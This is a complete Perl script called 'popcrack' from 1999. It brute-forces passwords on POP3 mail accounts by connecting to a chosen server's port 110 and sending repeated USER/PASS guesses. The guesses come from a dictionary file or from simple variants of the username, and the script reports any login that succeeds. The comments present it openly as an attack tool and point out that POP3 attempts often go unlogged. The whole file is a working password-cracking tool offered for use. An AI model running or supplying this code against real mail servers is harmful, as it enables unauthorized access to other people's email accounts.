#!/usr/bin/perl -w
#
# popcrack by
# Harl/10/06/1999/GPL
# with mods by Spook
# 
# POP3 Account Cracker
#
# pop3 is still one of the weakest links in the chain. Most often POP3
# access is not logged and some pop3 servers allow multiple retries without
# being disconnected. popcrack should automatically reconnect to servers
# that need it, but to force a reconnect use the -r switch. If popcrack
# makes the first attempt successfully but then stops, this is a good sign
# that you need the -r switch.
#
# w3rd 2 y0 m0mm4z

use IO::Socket;

$version = "1.2";

sub extrapolate_baseword {
    if ($supplied_word) {
        $base_word = $supplied_word;
    }
    else {
        $base_word = $username;
    }
    
    # 
    # Code here for making possible passwords from $base_word
    # There are many more extrapolations possible than these
    #

    # swap a with 4
    $new_word = $base_word;
    $new_word =~ tr/a/4/;
    push @possible_passwd, $new_word;

    # swap e with 3
    $new_word = $base_word;
    $new_word =~ tr/e/3/;
    push @possible_passwd, $new_word;

    # swap l with 1
    $new_word = $base_word;
    $new_word =~ tr/l/1/;
    push @possible_passwd, $new_word;

    # swap A with 4
    $new_word = $base_word;
    $new_word =~ tr/A/4/;
    push @possible_passwd, $new_word;
        
    # Delete dupilicates
    foreach $new_passwd (@possible_passwd) {
        if ($new_passwd ne $base_word) {
            push @passwd, $new_passwd;
        }
    }
    
    # Add digit to the end
    for ($i=0; $i<10; $i++) {
        push @passwd, $base_word.$i;
    }
}


#
# Connect (or reconnect) to POP3 port
#
sub bind_to_pop3 {
    $remote and close $remote;
    $remote = IO::Socket::INET->new( Proto     => "tcp",
                                     PeerAddr  => $hostname,
                                     PeerPort  => "pop3(110)",
                                    );
    unless ($remote) { die "cannot connect to pop3 daemon on $hostname" }
    $remote->autoflush(1);

    if (!$first_loop) {
        print "\n--> Rec";
    } 
    else {
        print "--> C";
    }
    print "onnected to $hostname\n";
}


#
# Show help
#
sub display_help {
    print "popcrack v$version by Harl. GPL. FreeTheWarez\n";
    print "usage: popcrack [options] hostname \n";
    print "    -u <username> username name for pop3 account\n";
    print "    -p <string> use supplied string to generate passwords\n";
    print "    -d <filename> use specified dictionary file to generate passwords\n";
    print "    -r force reconnect after every attempt\n";
    print "    -v verbose mode\n";
    print "    -h this\n";
    exit;
}


# 
# Get cmd line
#
sub get_cmd_line {
    while ($option = shift(@ARGV)) {
        SWITCH: {
            if ($option =~ /^-h/) {
                display_help;
            }
            
            if ($option =~ /^-p/) {
                $supplied_word = shift(@ARGV);
                last SWITCH;
            }

            if ($option =~ /^-u/) {
                $username = shift(@ARGV);
                last SWITCH;
            }

            if ($option =~ /^-d/) {
                $dictfile = shift(@ARGV);
                last SWITCH;
            }

            if ($option =~ /^-r/) {
                $server_needs_reconnect = 1;
                last SWITCH;
            }

            if ($option =~ /^-v/) {
                $verbose = 1;
                last SWITCH;
            }

            $hostname = $option;
            last SWITCH;
         }
    }
}


#
# Main code
#
unless (@ARGV >1) { 
    display_help;
}

get_cmd_line;

if (!$hostname) {
    print "ERROR: No hostname specified\n";
    exit;
}
if (!$username) {
    print "ERROR: No username specified\n";
    exit;
}

#
# Use dictionary if specified else extrapolate guesses from username
#
if ($dictfile) {
    open (DICTFILE, $dictfile) or die "ERROR: Can't open $dictfile\n";
    @passwd = <DICTFILE>;
}
else {
    extrapolate_baseword;
}

$first_loop = 1;

#
# Cycle through possible passwords
#
foreach $guess (@passwd) {
    if ($server_needs_reconnect or $first_loop) {
        bind_to_pop3;
        $in_str = <$remote>;
    }
    
    if ($in_str =~ /QPOP/ or
        $in_str =~ /CPOP/ or
        $in_str =~ /@/ ) {
        $server_needs_reconnect = 1;
        if ($verbose and $first_loop) {
            print "--> Warning: Server needs reconnect for each attempt\n";
        }
    }

    if ($first_loop) {
        $verbose and print $in_str;
        undef $first_loop;
    }

    chomp $guess;
    if (!$verbose) {
        print "Trying: $username:$guess\n";
    }

    print $remote "user $username\n";
    $verbose and print "user $username\n";
    
    $in_str = <$remote>;
    $verbose and print $in_str;

    if ($in_str =~ /ERR/) {
        next;
    }

    print $remote "pass $guess\n";
    $verbose and print "pass $guess\n";

    $in_str = <$remote>;
    $verbose and print $in_str;
        
    if ($in_str =~ /OK/) {
        print "--> Found account - $username:$guess\n";
        exit 1;
    }

    if ($in_str =~ /ERR/) {
        next;
    }
}